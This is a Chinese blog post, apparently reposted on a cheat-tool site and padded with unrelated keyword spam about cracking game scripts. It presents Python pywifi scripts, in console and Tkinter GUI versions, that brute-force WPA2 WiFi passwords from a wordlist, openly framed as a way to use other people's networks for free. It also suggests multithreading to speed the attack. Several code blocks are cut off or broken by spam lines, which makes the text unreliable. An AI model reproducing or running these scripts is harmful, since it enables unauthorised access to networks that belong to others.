立即登录

怎么破解简单游脚本 用Python破解WiFi密码,太刺激了!

11/28 01:07:57

怎么破解简单游脚本 用Python破解WiFi密码,太刺激了!

来源丨网络

大家好,我是小z怎么破解简单游脚本,也可以叫我阿粥~

本文给大家分享的是如何通过 Python 脚本实现 WIFI 密码的暴力破解辅助卡盟,从而实现免费蹭网。

脚本从无图形和图形界面来分别实现,主要使用的是pywifi库:

无图形界面

先来看看没有图形界面版的爆破脚本。

WIFI爆破

import pywifi
from pywifi import const
import time
import datetime
# 测试连接,返回链接结果
def wifiConnect(pwd):
    # 抓取网卡接口
    wifi = pywifi.PyWiFi()
    # 获取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid = "Tr0e"
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 调用密码
        profile.key = pwd
        # 删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        # 设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi连接时间
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")
# 读取密码本
def readPassword():
    success = False
    print("****************** WIFI破解 ******************")
    # 密码本路径
    path = "pwd.txt"
    # 打开文件
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline()
            # 去除密码的末尾换行符
            pwd = pwd.strip('n')
            bool = wifiConnect(pwd)
            if bool:
                print("[*] 密码已破解:", pwd)
                print("[*] WiFi已自动连接!!!")
                success = True
                break
            else:
                # 跳出当前循环,进行下一次循环
                print("正在破解 SSID 为 %s 的 WIFI密码,当前校验的密码为:%s"%("Tr0e",pwd))
        except:
            continue
    end = datetime.datetime.now()
    if(success):
        print("[*] 本次破解WIFI密码一共用了多长时间:{}".format(end - start))
    else:
        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!")

番茄lol脚本破解_怎么破解按键精灵的脚本_怎么破解简单游脚本

代码运行效果:

4cd42ad5b25f183b9db872972ad04a9a.jpeg

脚本优化

以上脚本需内嵌 WIFI 名、爆破字典路径,缺少灵活性。下面进行改造优化:

import pywifi
import time
from pywifi import const
# WiFi扫描模块
def wifi_scan():
    # 初始化wifi
    wifi = pywifi.PyWiFi()
    # 使用第一个无线网卡
    interface = wifi.interfaces()[0]
    # 开始扫描
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
    print('r扫描完成!n' + '-' * 38)
    print('r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
    # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
    bss = interface.scan_results()
    # 存放wifi名的集合
    wifi_name_set = set()
    for w in bss:
        # 解决乱码问题
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # 存入列表并按信号排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化输出
    while num < len(wifi_name_list):
        print('r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    # 返回wifi列表
    return wifi_name_list
# WIFI破解模块
def wifi_password_crack(wifi_name):
    # 字典路径
    wifi_dic_path = input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")
    with open(wifi_dic_path, 'r') as f:
        # 遍历密码
        for pwd in f:
            # 去除密码的末尾换行符
            pwd = pwd.strip('n')
            # 创建wifi对象
            wifi = pywifi.PyWiFi()
            # 创建网卡对象,为第一个wifi网卡
            interface = wifi.interfaces()[0]
            # 断开所有wifi连接
            interface.disconnect()
            # 等待其断开
            while interface.status() == 4:
                # 当其处于连接状态时,利用循环等待其断开
                pass
            # 创建连接文件(对象)
            profile = pywifi.Profile()
            # wifi名称
            profile.ssid = wifi_name
            # 需要认证
            profile.auth = const.AUTH_ALG_OPEN
            # wifi默认加密算法
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            # wifi密码
            profile.key = pwd
            # 删除所有wifi连接文件
            interface.remove_all_network_profiles()
            # 设置新的wifi连接文件
            tmp_profile = interface.add_network_profile(profile)

怎么破解按键精灵的脚本_番茄lol脚本破解_怎么破解简单游脚本

脚本运行效果如下:

7fd658ec158ea16a04014cacb75cf31b.jpeg

上述代码实现了依据信号强度枚举当前附近的所有 WIFI 名称,并且可供用户自主选择需要暴力破解的 WIFI;

同时还可灵活指定暴力破解的字典怎么破解简单游脚本,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件,双击运行效果如下:

0c3c2abdd0d4ebcb1681be16cc31d316.jpeg

图形化界面

下面基于 Python 的 GUI 图形界面开发库 Tkinter 优化上述脚本,实现友好的可视化 WIFI 暴力破解界面工具。关于 Tkinter 库的语法可参见:Python GUI编程(Tkinter)。

简单版UI

from tkinter import *
from pywifi import const
import pywifi
import time
# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间

def wificonnect(str, wifiname):
    # 窗口无线对象
    wifi = pywifi.PyWiFi()
    # 抓取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # 创建wifi连接文件
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # wifi的密码
        profile.key = str
        # 网卡的开发
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元,这里需要写点加密单元否则无法连接
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 删除所有的wifi文件
        ifaces.remove_all_network_profiles()
        # 设置新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        # 连接
        ifaces.connect(tep_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
def readPwd():
    # 获取wiif名称
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            # 读取
            mystr = file.readline().strip()
            # 测试连接
            bool = wificonnect(mystr, wifiname)
            if bool:
                text.insert(END, '密码正确' + mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END, '密码错误' + mystr)
                text.see(END)
                text.update()
        except:
            continue
# 创建窗口
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# 标签
label = Label(root, text='输入要破解的WIFI名称:')
# 定位
label.grid()
# 输入控件
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# 列表控件
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# 按钮
button = Button(root, text='开始破解', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# 显示窗口
root.mainloop()

3b16853e37d8e053a4e4149d66bc0baf.jpeg

UI升级版

以上图形界面未允许选择密码字典,下面进行优化升级:

from tkinter import *

番茄lol脚本破解_怎么破解简单游脚本_怎么破解按键精灵的脚本

番茄lol脚本破解_怎么破解简单游脚本_怎么破解按键精灵的脚本

脚本运行效果如下:

aa25cc983ea11924bdab4cfc1eec4e65.jpeg

以上基于 Python 的 GUI 图形界面开发库 Tkinter,实际上 Python 的 GUI 编程可以借助 PyQt5 来自动生成 UI 代码,相关教程可参见:PyQt5设计GUI(一)pycharm中配置pyqt5。

总结

本文学习了 Python 暴力破解 WIFI 密码的方法、以及 Python GUI 图形化编程的基础使用。

所演示的代码的不足在于均没有使用多线程进行 WIFI 连接测试,实际上因为 WIFI 连接测试需要一定的耗时(3-5秒),故使用多线程将能减少暴力破解过程的等待时间。

from:blog.csdn.net/weixin_39190897/article/details/119778471

●终于有人把指标设计方法讲明白了
●SQL优化的魅力

来源:【九爱网址导航www.fuzhukm.com】 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

最新资讯